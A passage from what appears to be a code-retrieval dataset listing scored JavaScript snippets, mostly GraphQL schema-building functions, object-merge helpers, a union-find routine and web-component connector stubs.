(fs.existsSync(tempPath)) {\n fs.unlinkSync(tempPath);\n }\n }\n });\n\n process.exit(exit);\n}", "title": "" }, { "docid": "547a5efcc910e0c3877c3880aa61286a", "score": "0.44567397", "text": "function mergeInto(obj1, obj2) {\n var to_ret = $.extend( {}, obj1, obj2 );\n return to_ret;\n}", "title": "" }, { "docid": "e20416381ff828fccbcf0c5670bc2bb8", "score": "0.44480723", "text": "function merge(obj1, obj2) {\r\n obj1 = obj1 || {};\r\n obj2 = obj2 || {};\r\n var obj3 = {};\r\n for (var attrname in obj2) obj3[attrname] = obj2[attrname];\r\n for (var attrname2 in obj1) obj3[attrname2] = obj1[attrname2];\r\n return obj3;\r\n}", "title": "" }, { "docid": "b1834e77d4cdba0982bf5bbbbd2a5ed2", "score": "0.44327652", "text": "function doTypesOverlap(schema, typeA, typeB) {\n // Equivalent types overlap\n if (typeA === typeB) {\n return true;\n }\n\n if ((0, _definition.isAbstractType)(typeA)) {\n if ((0, _definition.isAbstractType)(typeB)) {\n // If both types are abstract, then determine if there is any intersection\n // between possible concrete types of each.\n return schema.getPossibleTypes(typeA).some(function (type) {\n return schema.isPossibleType(typeB, type);\n });\n } // Determine if the latter type is a possible concrete type of the former.\n\n\n return schema.isPossibleType(typeA, typeB);\n }\n\n if ((0, _definition.isAbstractType)(typeB)) {\n // Determine if the former type is a possible concrete type of the latter.\n return schema.isPossibleType(typeB, typeA);\n } // Otherwise the types do not overlap.\n\n\n return false;\n}", "title": "" }, { "docid": "b1834e77d4cdba0982bf5bbbbd2a5ed2", "score": "0.44327652", "text": "function doTypesOverlap(schema, typeA, typeB) {\n // Equivalent types overlap\n if (typeA === typeB) {\n return true;\n }\n\n if ((0, _definition.isAbstractType)(typeA)) {\n if ((0, _definition.isAbstractType)(typeB)) {\n // If both types are abstract, then determine if there is any intersection\n // between possible concrete types of each.\n return schema.getPossibleTypes(typeA).some(function (type) {\n return schema.isPossibleType(typeB, type);\n });\n } // Determine if the latter type is a possible concrete type of the former.\n\n\n return schema.isPossibleType(typeA, typeB);\n }\n\n if ((0, _definition.isAbstractType)(typeB)) {\n // Determine if the former type is a possible concrete type of the latter.\n return schema.isPossibleType(typeB, typeA);\n } // Otherwise the types do not overlap.\n\n\n return false;\n}", "title": "" }, { "docid": "86a0ee9e507be117550221a26419dffd", "score": "0.4430818", "text": "function extendSchema(schema, documentAST, options) {\n Object(_type_schema__WEBPACK_IMPORTED_MODULE_8__[/* assertSchema */ \"b\"])(schema);\n !(documentAST && documentAST.kind === _language_kinds__WEBPACK_IMPORTED_MODULE_13__[/* Kind */ \"a\"].DOCUMENT) ? Object(_jsutils_invariant__WEBPACK_IMPORTED_MODULE_3__[/* default */ \"a\"])(0, 'Must provide valid Document AST') : void 0;\n\n if (!options || !(options.assumeValid || options.assumeValidSDL)) {\n Object(_validation_validate__WEBPACK_IMPORTED_MODULE_7__[/* assertValidSDLExtension */ \"b\"])(documentAST, schema);\n } // Collect the type definitions and extensions found in the document.\n\n\n var typeDefs = [];\n var typeExtsMap = Object.create(null); // New directives and types are separate because a directives and types can\n // have the same name. For example, a type named \"skip\".\n\n var directiveDefs = [];\n var schemaDef; // Schema extensions are collected which may add additional operation types.\n\n var schemaExts = [];\n var _iteratorNormalCompletion = true;\n var _didIteratorError = false;\n var _iteratorError = undefined;\n\n try {\n for (var _iterator = documentAST.definitions[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) {\n var def = _step.value;\n\n if (def.kind === _language_kinds__WEBPACK_IMPORTED_MODULE_13__[/* Kind */ \"a\"].SCHEMA_DEFINITION) {\n schemaDef = def;\n } else if (def.kind === _language_kinds__WEBPACK_IMPORTED_MODULE_13__[/* Kind */ \"a\"].SCHEMA_EXTENSION) {\n schemaExts.push(def);\n } else if (Object(_language_predicates__WEBPACK_IMPORTED_MODULE_14__[/* isTypeDefinitionNode */ \"d\"])(def)) {\n typeDefs.push(def);\n } else if (Object(_language_predicates__WEBPACK_IMPORTED_MODULE_14__[/* isTypeExtensionNode */ \"e\"])(def)) {\n var extendedTypeName = def.name.value;\n var existingTypeExts = typeExtsMap[extendedTypeName];\n typeExtsMap[extendedTypeName] = existingTypeExts ? existingTypeExts.concat([def]) : [def];\n } else if (def.kind === _language_kinds__WEBPACK_IMPORTED_MODULE_13__[/* Kind */ \"a\"].DIRECTIVE_DEFINITION) {\n directiveDefs.push(def);\n }\n } // If this document contains no new types, extensions, or directives then\n // return the same unmodified GraphQLSchema instance.\n\n } catch (err) {\n _didIteratorError = true;\n _iteratorError = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion && _iterator.return != null) {\n _iterator.return();\n }\n } finally {\n if (_didIteratorError) {\n throw _iteratorError;\n }\n }\n }\n\n if (Object.keys(typeExtsMap).length === 0 && typeDefs.length === 0 && directiveDefs.length === 0 && schemaExts.length === 0 && !schemaDef) {\n return schema;\n }\n\n var schemaConfig = schema.toConfig();\n var astBuilder = new _buildASTSchema__WEBPACK_IMPORTED_MODULE_6__[/* ASTDefinitionBuilder */ \"a\"](options, function (typeName) {\n var type = typeMap[typeName];\n !type ? Object(_jsutils_invariant__WEBPACK_IMPORTED_MODULE_3__[/* default */ \"a\"])(0, \"Unknown type: \\\"\".concat(typeName, \"\\\".\")) : void 0;\n return type;\n });\n var typeMap = Object(_jsutils_keyValMap__WEBPACK_IMPORTED_MODULE_5__[/* default */ \"a\"])(typeDefs, function (node) {\n return node.name.value;\n }, function (node) {\n return astBuilder.buildType(node);\n });\n var _iteratorNormalCompletion2 = true;\n var _didIteratorError2 = false;\n var _iteratorError2 = undefined;\n\n try {\n for (var _iterator2 = schemaConfig.types[Symbol.iterator](), _step2; !(_iteratorNormalCompletion2 = (_step2 = _iterator2.next()).done); _iteratorNormalCompletion2 = true) {\n var existingType = _step2.value;\n typeMap[existingType.name] = extendNamedType(existingType);\n } // Get the extended root operation types.\n\n } catch (err) {\n _didIteratorError2 = true;\n _iteratorError2 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion2 && _iterator2.return != null) {\n _iterator2.return();\n }\n } finally {\n if (_didIteratorError2) {\n throw _iteratorError2;\n }\n }\n }\n\n var operationTypes = {\n query: schemaConfig.query && schemaConfig.query.name,\n mutation: schemaConfig.mutation && schemaConfig.mutation.name,\n subscription: schemaConfig.subscription && schemaConfig.subscription.name\n };\n\n if (schemaDef) {\n var _iteratorNormalCompletion3 = true;\n var _didIteratorError3 = false;\n var _iteratorError3 = undefined;\n\n try {\n for (var _iterator3 = schemaDef.operationTypes[Symbol.iterator](), _step3; !(_iteratorNormalCompletion3 = (_step3 = _iterator3.next()).done); _iteratorNormalCompletion3 = true) {\n var _ref2 = _step3.value;\n var operation = _ref2.operation;\n var type = _ref2.type;\n operationTypes[operation] = type.name.value;\n }\n } catch (err) {\n _didIteratorError3 = true;\n _iteratorError3 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion3 && _iterator3.return != null) {\n _iterator3.return();\n }\n } finally {\n if (_didIteratorError3) {\n throw _iteratorError3;\n }\n }\n }\n } // Then, incorporate schema definition and all schema extensions.\n\n\n for (var _i = 0, _schemaExts = schemaExts; _i < _schemaExts.length; _i++) {\n var schemaExt = _schemaExts[_i];\n\n if (schemaExt.operationTypes) {\n var _iteratorNormalCompletion4 = true;\n var _didIteratorError4 = false;\n var _iteratorError4 = undefined;\n\n try {\n for (var _iterator4 = schemaExt.operationTypes[Symbol.iterator](), _step4; !(_iteratorNormalCompletion4 = (_step4 = _iterator4.next()).done); _iteratorNormalCompletion4 = true) {\n var _ref4 = _step4.value;\n var _operation = _ref4.operation;\n var _type = _ref4.type;\n operationTypes[_operation] = _type.name.value;\n }\n } catch (err) {\n _didIteratorError4 = true;\n _iteratorError4 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion4 && _iterator4.return != null) {\n _iterator4.return();\n }\n } finally {\n if (_didIteratorError4) {\n throw _iteratorError4;\n }\n }\n }\n }\n } // Support both original legacy names and extended legacy names.\n\n\n var allowedLegacyNames = schemaConfig.allowedLegacyNames.concat(options && options.allowedLegacyNames || []); // Then produce and return a Schema with these types.\n\n return new _type_schema__WEBPACK_IMPORTED_MODULE_8__[/* GraphQLSchema */ \"a\"]({\n // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n query: getMaybeTypeByName(operationTypes.query),\n mutation: getMaybeTypeByName(operationTypes.mutation),\n subscription: getMaybeTypeByName(operationTypes.subscription),\n types: Object(_polyfills_objectValues__WEBPACK_IMPORTED_MODULE_1__[/* default */ \"a\"])(typeMap),\n directives: getMergedDirectives(),\n astNode: schemaDef || schemaConfig.astNode,\n extensionASTNodes: schemaConfig.extensionASTNodes.concat(schemaExts),\n allowedLegacyNames: allowedLegacyNames\n }); // Below are functions used for producing this schema that have closed over\n // this scope and have access to the schema, cache, and newly defined types.\n\n function replaceType(type) {\n if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[/* isListType */ \"J\"])(type)) {\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[/* GraphQLList */ \"d\"](replaceType(type.ofType));\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[/* isNonNullType */ \"L\"])(type)) {\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[/* GraphQLNonNull */ \"e\"](replaceType(type.ofType));\n }\n\n return replaceNamedType(type);\n }\n\n function replaceNamedType(type) {\n return typeMap[type.name];\n }\n\n function getMaybeTypeByName(typeName) {\n return typeName ? typeMap[typeName] : null;\n }\n\n function getMergedDirectives() {\n var existingDirectives = schema.getDirectives().map(extendDirective);\n !existingDirectives ? Object(_jsutils_invariant__WEBPACK_IMPORTED_MODULE_3__[/* default */ \"a\"])(0, 'schema must have default directives') : void 0;\n return existingDirectives.concat(directiveDefs.map(function (node) {\n return astBuilder.buildDirective(node);\n }));\n }\n\n function extendNamedType(type) {\n if (Object(_type_introspection__WEBPACK_IMPORTED_MODULE_9__[/* isIntrospectionType */ \"n\"])(type) || Object(_type_scalars__WEBPACK_IMPORTED_MODULE_10__[/* isSpecifiedScalarType */ \"f\"])(type)) {\n // Builtin types are not extended.\n return type;\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[/* isScalarType */ \"R\"])(type)) {\n return extendScalarType(type);\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[/* isObjectType */ \"N\"])(type)) {\n return extendObjectType(type);\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[/* isInterfaceType */ \"H\"])(type)) {\n return extendInterfaceType(type);\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[/* isUnionType */ \"T\"])(type)) {\n return extendUnionType(type);\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[/* isEnumType */ \"E\"])(type)) {\n return extendEnumType(type);\n } else if (Object(_type_definition__WEBPACK_IMPORTED_MODULE_11__[/* isInputObjectType */ \"F\"])(type)) {\n return extendInputObjectType(type);\n } // Not reachable. All possible types have been considered.\n\n /* istanbul ignore next */\n\n\n throw new Error(\"Unexpected type: \\\"\".concat(Object(_jsutils_inspect__WEBPACK_IMPORTED_MODULE_2__[/* default */ \"a\"])(type), \"\\\".\"));\n }\n\n function extendDirective(directive) {\n var config = directive.toConfig();\n return new _type_directives__WEBPACK_IMPORTED_MODULE_12__[/* GraphQLDirective */ \"c\"](_objectSpread({}, config, {\n args: Object(_jsutils_mapValue__WEBPACK_IMPORTED_MODULE_4__[/* default */ \"a\"])(config.args, extendArg)\n }));\n }\n\n function extendInputObjectType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[config.name] || [];\n var fieldNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[/* default */ \"a\"])(extensions, function (node) {\n return node.fields || [];\n });\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[/* GraphQLInputObjectType */ \"b\"](_objectSpread({}, config, {\n fields: function fields() {\n return _objectSpread({}, Object(_jsutils_mapValue__WEBPACK_IMPORTED_MODULE_4__[/* default */ \"a\"])(config.fields, function (field) {\n return _objectSpread({}, field, {\n type: replaceType(field.type)\n });\n }), Object(_jsutils_keyValMap__WEBPACK_IMPORTED_MODULE_5__[/* default */ \"a\"])(fieldNodes, function (field) {\n return field.name.value;\n }, function (field) {\n return astBuilder.buildInputField(field);\n }));\n },\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendEnumType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[type.name] || [];\n var valueNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[/* default */ \"a\"])(extensions, function (node) {\n return node.values || [];\n });\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[/* GraphQLEnumType */ \"a\"](_objectSpread({}, config, {\n values: _objectSpread({}, config.values, Object(_jsutils_keyValMap__WEBPACK_IMPORTED_MODULE_5__[/* default */ \"a\"])(valueNodes, function (value) {\n return value.name.value;\n }, function (value) {\n return astBuilder.buildEnumValue(value);\n })),\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendScalarType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[config.name] || [];\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[/* GraphQLScalarType */ \"g\"](_objectSpread({}, config, {\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendObjectType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[config.name] || [];\n var interfaceNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[/* default */ \"a\"])(extensions, function (node) {\n return node.interfaces || [];\n });\n var fieldNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[/* default */ \"a\"])(extensions, function (node) {\n return node.fields || [];\n });\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[/* GraphQLObjectType */ \"f\"](_objectSpread({}, config, {\n interfaces: function interfaces() {\n return [].concat(type.getInterfaces().map(replaceNamedType), interfaceNodes.map(function (node) {\n return astBuilder.getNamedType(node);\n }));\n },\n fields: function fields() {\n return _objectSpread({}, Object(_jsutils_mapValue__WEBPACK_IMPORTED_MODULE_4__[/* default */ \"a\"])(config.fields, extendField), Object(_jsutils_keyValMap__WEBPACK_IMPORTED_MODULE_5__[/* default */ \"a\"])(fieldNodes, function (node) {\n return node.name.value;\n }, function (node) {\n return astBuilder.buildField(node);\n }));\n },\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendInterfaceType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[config.name] || [];\n var fieldNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[/* default */ \"a\"])(extensions, function (node) {\n return node.fields || [];\n });\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[/* GraphQLInterfaceType */ \"c\"](_objectSpread({}, config, {\n fields: function fields() {\n return _objectSpread({}, Object(_jsutils_mapValue__WEBPACK_IMPORTED_MODULE_4__[/* default */ \"a\"])(config.fields, extendField), Object(_jsutils_keyValMap__WEBPACK_IMPORTED_MODULE_5__[/* default */ \"a\"])(fieldNodes, function (node) {\n return node.name.value;\n }, function (node) {\n return astBuilder.buildField(node);\n }));\n },\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendUnionType(type) {\n var config = type.toConfig();\n var extensions = typeExtsMap[config.name] || [];\n var typeNodes = Object(_polyfills_flatMap__WEBPACK_IMPORTED_MODULE_0__[/* default */ \"a\"])(extensions, function (node) {\n return node.types || [];\n });\n return new _type_definition__WEBPACK_IMPORTED_MODULE_11__[/* GraphQLUnionType */ \"h\"](_objectSpread({}, config, {\n types: function types() {\n return [].concat(type.getTypes().map(replaceNamedType), typeNodes.map(function (node) {\n return astBuilder.getNamedType(node);\n }));\n },\n extensionASTNodes: config.extensionASTNodes.concat(extensions)\n }));\n }\n\n function extendField(field) {\n return _objectSpread({}, field, {\n type: replaceType(field.type),\n args: Object(_jsutils_mapValue__WEBPACK_IMPORTED_MODULE_4__[/* default */ \"a\"])(field.args, extendArg)\n });\n }\n\n function extendArg(arg) {\n return _objectSpread({}, arg, {\n type: replaceType(arg.type)\n });\n }\n}", "title": "" }, { "docid": "efee0b06863aaab2fd779d6ade5ebd31", "score": "0.44305128", "text": "function addTypes(schema, newTypesOrDirectives) {\n const queryType = schema.getQueryType();\n const mutationType = schema.getMutationType();\n const subscriptionType = schema.getSubscriptionType();\n const queryTypeName = queryType != null ? queryType.name : undefined;\n const mutationTypeName = mutationType != null ? mutationType.name : undefined;\n const subscriptionTypeName = subscriptionType != null ? subscriptionType.name : undefined;\n const config = schema.toConfig();\n const originalTypeMap = {};\n config.types.forEach(type => {\n originalTypeMap[type.name] = type;\n });\n const originalDirectiveMap = {};\n config.directives.forEach(directive => {\n originalDirectiveMap[directive.name] = directive;\n });\n newTypesOrDirectives.forEach(newTypeOrDirective => {\n if (graphql.isNamedType(newTypeOrDirective)) {\n originalTypeMap[newTypeOrDirective.name] = newTypeOrDirective;\n }\n else if (graphql.isDirective(newTypeOrDirective)) {\n originalDirectiveMap[newTypeOrDirective.name] = newTypeOrDirective;\n }\n });\n const { typeMap, directives } = rewireTypes(originalTypeMap, Object.keys(originalDirectiveMap).map(directiveName => originalDirectiveMap[directiveName]));\n return new graphql.GraphQLSchema({\n ...config,\n query: queryTypeName ? typeMap[queryTypeName] : undefined,\n mutation: mutationTypeName ? typeMap[mutationTypeName] : undefined,\n subscription: subscriptionTypeName != null ? typeMap[subscriptionTypeName] : undefined,\n types: Object.keys(typeMap).map(typeName => typeMap[typeName]),\n directives,\n });\n}", "title": "" }, { "docid": "0cb5ec442d553da4113bbf4f2da5beba", "score": "0.44285235", "text": "function doTypesOverlap(schema, typeA, typeB) {\n // Equivalent types overlap\n if (typeA === typeB) {\n return true;\n }\n\n if ((0, _definition$v.isAbstractType)(typeA)) {\n if ((0, _definition$v.isAbstractType)(typeB)) {\n // If both types are abstract, then determine if there is any intersection\n // between possible concrete types of each.\n return schema.getPossibleTypes(typeA).some(function (type) {\n return schema.isSubType(typeB, type);\n });\n } // Determine if the latter type is a possible concrete type of the former.\n\n\n return schema.isSubType(typeA, typeB);\n }\n\n if ((0, _definition$v.isAbstractType)(typeB)) {\n // Determine if the former type is a possible concrete type of the latter.\n return schema.isSubType(typeB, typeA);\n } // Otherwise the types do not overlap.\n\n\n return false;\n }", "title": "" }, { "docid": "7c9d0bdb261e961034568b66013588c4", "score": "0.44262516", "text": "function findTypesAddedToUnions(oldSchema, newSchema) {\n var oldTypeMap = oldSchema.getTypeMap();\n var newTypeMap = newSchema.getTypeMap();\n var typesAddedToUnion = [];\n\n for (var _i11 = 0, _Object$keys11 = Object.keys(newTypeMap); _i11 < _Object$keys11.length; _i11++) {\n var typeName = _Object$keys11[_i11];\n var oldType = oldTypeMap[typeName];\n var newType = newTypeMap[typeName];\n\n if (!Object(_type_definition__WEBPACK_IMPORTED_MODULE_2__[/* isUnionType */ \"T\"])(oldType) || !Object(_type_definition__WEBPACK_IMPORTED_MODULE_2__[/* isUnionType */ \"T\"])(newType)) {\n continue;\n }\n\n var typeNamesInOldUnion = Object.create(null);\n var _iteratorNormalCompletion5 = true;\n var _didIteratorError5 = false;\n var _iteratorError5 = undefined;\n\n try {\n for (var _iterator5 = oldType.getTypes()[Symbol.iterator](), _step5; !(_iteratorNormalCompletion5 = (_step5 = _iterator5.next()).done); _iteratorNormalCompletion5 = true) {\n var type = _step5.value;\n typeNamesInOldUnion[type.name] = true;\n }\n } catch (err) {\n _didIteratorError5 = true;\n _iteratorError5 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion5 && _iterator5.return != null) {\n _iterator5.return();\n }\n } finally {\n if (_didIteratorError5) {\n throw _iteratorError5;\n }\n }\n }\n\n var _iteratorNormalCompletion6 = true;\n var _didIteratorError6 = false;\n var _iteratorError6 = undefined;\n\n try {\n for (var _iterator6 = newType.getTypes()[Symbol.iterator](), _step6; !(_iteratorNormalCompletion6 = (_step6 = _iterator6.next()).done); _iteratorNormalCompletion6 = true) {\n var _type2 = _step6.value;\n\n if (!typeNamesInOldUnion[_type2.name]) {\n typesAddedToUnion.push({\n type: DangerousChangeType.TYPE_ADDED_TO_UNION,\n description: \"\".concat(_type2.name, \" was added to union type \").concat(typeName, \".\")\n });\n }\n }\n } catch (err) {\n _didIteratorError6 = true;\n _iteratorError6 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion6 && _iterator6.return != null) {\n _iterator6.return();\n }\n } finally {\n if (_didIteratorError6) {\n throw _iteratorError6;\n }\n }\n }\n }\n\n return typesAddedToUnion;\n}", "title": "" }, { "docid": "87480c17677c9c9d97fbcd8a39dd448c", "score": "0.4420803", "text": "mergeObjects(obj1, obj2){\n let newObj = {}\n\n Object.keys(obj1).forEach(function(key){ newObj[key] = obj1[key]; });\n Object.keys(obj2).forEach(function(key){ newObj[key] = obj2[key]; });\n\n return newObj;\n }", "title": "" }, { "docid": "ff5d82592e70734d56cb4f9c14505e04", "score": "0.44176102", "text": "function addSchemaIfNeeded(schemaList, schemaObj) {\n const name = schemaObj.schema.name;\n if (schemaList.find((obj) => obj && (obj.name === name || (obj.schema && obj.schema.name === name))) === undefined) {\n schemaList.push(schemaObj);\n }\n}", "title": "" }, { "docid": "a93ca6e9f3a53e06297c2ec4f5293c14", "score": "0.44162917", "text": "function mergeObjects(first, second) {\n if (first) {\n if (second) {\n // Both objects exist. Copy the first.\n var result = {};\n for (var property in first) {\n result[property] = first[property];\n }\n // Override with the second.\n for (var property2 in second) {\n result[property2] = second[property2];\n }\n return result;\n } else {\n // First but no second object.\n return first;\n }\n } else if (second) {\n // Second but no first object.\n return second;\n }\n // No first or second.\n return {};\n}", "title": "" }, { "docid": "4dad7922b80dc7473ac8ea8a5b1c6ba7", "score": "0.4414967", "text": "function merge(obj1, obj2) { \n var returnObj = {};\n var args = [].slice.call(arguments, 0);\n var argLen = args.length;\n\n for(var i = 0; i < argLen; i++) {\n for (var key in args[i]) {\n returnObj[key] = args[i][key];\n }\n }\n\n return returnObj;\n\n}", "title": "" }, { "docid": "016bda8d9b5222fa8f22415db0e6f375", "score": "0.44120467", "text": "addSchema(_schemas) {\n this._validator.addSchema(_schemas); // AJV validates upon adding\n }", "title": "" }, { "docid": "3c561321d130ae4b5992431411b79721", "score": "0.44114268", "text": "function mergeObjects(to, from, Overwrite) {\r\n\tfor(p in from) {\r\n\t\tif(overwrite) {\r\n\t\t\tto[p] = from[p];\r\n\t\t}\r\n\t\telse if(to[p] === undefined) {\r\n\t\t\tto[p] = from[p];\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "551c4405e70780a06c2ed0cf13472227", "score": "0.43998182", "text": "function union(site1, site2) {\n const site1Root = root(site1);\n const site2Root = root(site2);\n\n groups[site1Root] = site2Root;\n if (site1 === site2) {\n return;\n }\n if (size[site1Root] < size[site2Root]) {\n groups[site1Root] = site2Root;\n size[site2Root] += size[site1Root];\n } else {\n groups[site2Root] = site1Root;\n size[site1Root] += size[site2Root];\n }\n}", "title": "" } ]
abf59623aeda1d70463e51bcfc2c56ac
expected to be called by the connector
[ { "docid": "225612079072354eb9fa41f9365f7c97", "score": "0.0", "text": "async onDescriptionReceived(description) {\n try {\n const readyForOffer =\n !this.isMakingOffer &&\n (this.pc.signalingState == \"stable\" || this.isSettingRemoteAnswerPending);\n const offerCollision = description.type == \"offer\" && !readyForOffer;\n\n this.isOfferIgnored = !this.isPolite && offerCollision;\n if (this.isOfferIgnored) {\n return;\n }\n this.isSettingRemoteAnswerPending = description.type == \"answer\";\n await this.pc.setRemoteDescription(description);\n this.isSettingRemoteAnswerPending = false;\n if (description.type == \"offer\") {\n await this.pc.setLocalDescription();\n await this.connector.sendDescription(this.endpoint, this.pc.localDescription);\n }\n } catch (err) {\n console.error(err);\n }\n }", "title": "" } ]
[ { "docid": "771f0f90e572827e5434ec2b4328c36a", "score": "0.6248186", "text": "setConnector() {\n throw Error(\"function must be overwritten in subclass\");\n }", "title": "" }, { "docid": "d73525bb8568eae7c975ee063e277ea8", "score": "0.5937637", "text": "connect() {\n\t\t/* istanbul ignore next */\n\t\tthrow new Error(\"This method is not implemented.\");\n\t}", "title": "" }, { "docid": "37c3ce320e8baa0ddb2596d2e80c8171", "score": "0.58591694", "text": "connector(connection) {\n this.connection = connection;\n }", "title": "" }, { "docid": "dc758d209f8d6fa40ec391814ac85066", "score": "0.5845564", "text": "connect() {\n\n\t}", "title": "" }, { "docid": "8edbcf284eeefe2e52874c5943b3f48e", "score": "0.5619631", "text": "function onConnect() {\n \n }", "title": "" }, { "docid": "17147c2e0b5d9c536627c19e177ede01", "score": "0.5607817", "text": "connectedCallback() {\r\n super.connectedCallback();\r\n }", "title": "" }, { "docid": "ba5934421e3bc3923ca6d12123da5030", "score": "0.5606898", "text": "connectedCallback() {\n super.connectedCallback();\n }", "title": "" }, { "docid": "ba5934421e3bc3923ca6d12123da5030", "score": "0.5606898", "text": "connectedCallback() {\n super.connectedCallback();\n }", "title": "" }, { "docid": "ba5934421e3bc3923ca6d12123da5030", "score": "0.5606898", "text": "connectedCallback() {\n super.connectedCallback();\n }", "title": "" }, { "docid": "ba5934421e3bc3923ca6d12123da5030", "score": "0.5606898", "text": "connectedCallback() {\n super.connectedCallback();\n }", "title": "" }, { "docid": "ba5934421e3bc3923ca6d12123da5030", "score": "0.5606898", "text": "connectedCallback() {\n super.connectedCallback();\n }", "title": "" }, { "docid": "ba5934421e3bc3923ca6d12123da5030", "score": "0.5606898", "text": "connectedCallback() {\n super.connectedCallback();\n }", "title": "" }, { "docid": "24648fb6df28b728f82eb30541f16a2f", "score": "0.55857587", "text": "async connect(params) {\n // Should not happen.\n throw new Error('method not implemented in the subclass');\n }", "title": "" }, { "docid": "0453b16d4cacfdb0531a0886c9c14ab0", "score": "0.5570048", "text": "connectedCallback() {\n \n }", "title": "" }, { "docid": "ebf7c6e9e3bee117d775953d0b503969", "score": "0.55603623", "text": "onConnection() {}", "title": "" }, { "docid": "cc306500b3c803be5185bc4c2d9c0657", "score": "0.5541935", "text": "connect() {\n }", "title": "" }, { "docid": "93a501ad8a0768dfbe9842e2409b0b8b", "score": "0.5518807", "text": "connectedCallback() { }", "title": "" }, { "docid": "a8e12d15f4a477709ae6b03330783772", "score": "0.54730064", "text": "onConnectionReset() {}", "title": "" }, { "docid": "b6a4e992edd52b0b6f44c1aea2d7004a", "score": "0.5451283", "text": "$beforeConnect() {}", "title": "" }, { "docid": "b33b68d1c4eee96b153b634d990f1650", "score": "0.5446829", "text": "function initConnector() {\n connector = new ConnectorTest({server: server});\n }", "title": "" }, { "docid": "1af8f26d0989b9b97e4ed94e8daf5ca2", "score": "0.5425732", "text": "beforeHandling() {\n\t\t//\n\t}", "title": "" }, { "docid": "eaa1c11c4c5edc865ccb40ce7ce687a6", "score": "0.5386821", "text": "onConnectionHeard() {}", "title": "" }, { "docid": "663b39c5ca929f9b713a528c2fd25824", "score": "0.5375817", "text": "constructor() {\n\t\tthis.connect()\n\t}", "title": "" }, { "docid": "743fa85e324011051f83af2eea12183d", "score": "0.53709406", "text": "afterLoadedFromDB()\n {\n }", "title": "" }, { "docid": "a2460a1b099be138853f4d74082ffc98", "score": "0.53615266", "text": "connectedCallback(){}", "title": "" }, { "docid": "32190acb1de6e827c4a3511b31fc84a2", "score": "0.53545827", "text": "async connect() {\n return;\n }", "title": "" }, { "docid": "9b1581164b59aa988b40f0afb7046abb", "score": "0.5331767", "text": "afterHandling() {\n\t\t//\n\t}", "title": "" }, { "docid": "ba235448fb18a5c049a3eaf31c6d3ea1", "score": "0.53221786", "text": "_FBPReady(){super._FBPReady();//this._FBPTraceWires()\nthis._FBPTriggerWire(\"--qpIn\",{query:{tsk:1}})}", "title": "" }, { "docid": "5bd88faeeed2a02a5ce55664edc4a034", "score": "0.53151906", "text": "testDataSource() {\n throw new ZabbixNotImplemented('testDataSource()');\n }", "title": "" }, { "docid": "0a1b7e8bf54504a207ef5e666b59ebad", "score": "0.53031343", "text": "connected() { }", "title": "" }, { "docid": "0a1b7e8bf54504a207ef5e666b59ebad", "score": "0.53031343", "text": "connected() { }", "title": "" }, { "docid": "707f0a26b891b07b127e2c468c0abef6", "score": "0.52962625", "text": "before (callback) {\n\t\t// run standard setup for creating a direct stream...\n\t\tsuper.before(error => {\n\t\t\tif (error) { return callback(error); }\n\t\t\t// ...and add a name, this should be ignored\n\t\t\tthis.data.name = this.streamFactory.randomName();\n\t\t\tcallback();\n\t\t});\n\t}", "title": "" }, { "docid": "0efcd59889cf95a4342280c09769d936", "score": "0.529306", "text": "onConnect() {\n debug(\"::onConnect\");\n }", "title": "" }, { "docid": "73c0955b8cfbd9eaf7349274f954ef5a", "score": "0.52826774", "text": "async connect() {\n // to be overloaded by subclasses\n }", "title": "" }, { "docid": "6ba4da25419e1a53ce857d3cdee61f4d", "score": "0.52809846", "text": "connectedCallback() {\n super.connectedCallback();\n this.getData();\n }", "title": "" }, { "docid": "8c94bb6141e7cc71a3a440b0c8ded518", "score": "0.52691424", "text": "firstUpdated() {\n this.connection = new ChannelStreamConnection();\n this.connection.connectUrl = this.appConfig.connectUrl;\n this.connection.disconnectUrl = this.appConfig.disconnectUrl;\n this.connection.subscribeUrl = this.appConfig.subscribeUrl;\n this.connection.unsubscribeUrl = this.appConfig.unsubscribeUrl;\n this.connection.messageUrl = this.appConfig.messageUrl;\n this.connection.messageEditUrl = this.appConfig.messageEditUrl;\n this.connection.messageDeleteUrl = 